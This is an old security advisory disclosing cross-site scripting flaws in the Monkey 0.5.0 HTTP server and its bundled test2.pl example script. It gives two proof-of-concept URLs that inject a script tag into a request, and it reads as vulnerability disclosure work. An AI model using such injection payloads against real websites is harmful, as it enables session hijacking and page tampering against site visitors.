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XSS bug in Monkey (0.5.0) HTTP server


From: DownBload <downbload () hotmail com>
Date: 30 Sep 2002 12:27:40 -0000



                   [ Illegal Instruction Labs Advisory ]
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Advisory name: XSS bug in Monkey (0.5.0) HTTP server
Advisory number: 14
Application: Monkey (0.5.0) HTTP server
Application author: Eduardo Silva 
(EdsipeR)                                         
Author e-mail: edsiper () linux-chile org
Monkey Project: http://monkeyd.sourceforge.net
Date: 29.09.2002
Impact: XSS code execution
Tested on: Debian 2.1 (2.0.36 kernel)
Discovered by: DownBload                                                
Mail me @: downbload () hotmail com     




======[ Overview 
Monkey is very simple and fast HTTP server (daemon). 




======[ Problems
1.) Monkey is vulnerable to XSS.
---cut here---
www.victim.com/&lt;script&gt;alert('IIL_0wnZ_YoU!!!');&lt;/script&gt;
---cut here---

2.) There is also XSS bug in test2.pl CGI script (example script) which 
come with Monkey 0.5.0.
---cut here---
www.victim.com/cgi-bin/test2.pl?&lt;script&gt;alert('IIL_0wnZ_YoU!!!');&lt;/script&gt;
---cut here---




======[ Greetz 
Greetz goes to #hr.hackers, #ii-labs and #linux <irc.carnet.hr>. 
Special greetz goes to (rand()): St0rm, BoyScout, h4z4rd, finis, Sunnis, 
Fr1c, phreax, StYx, harlequin, LekaMan, Astral and www.active-security.org 
(NetZero & Paradox).
I'm very sorry if I forgot someone.


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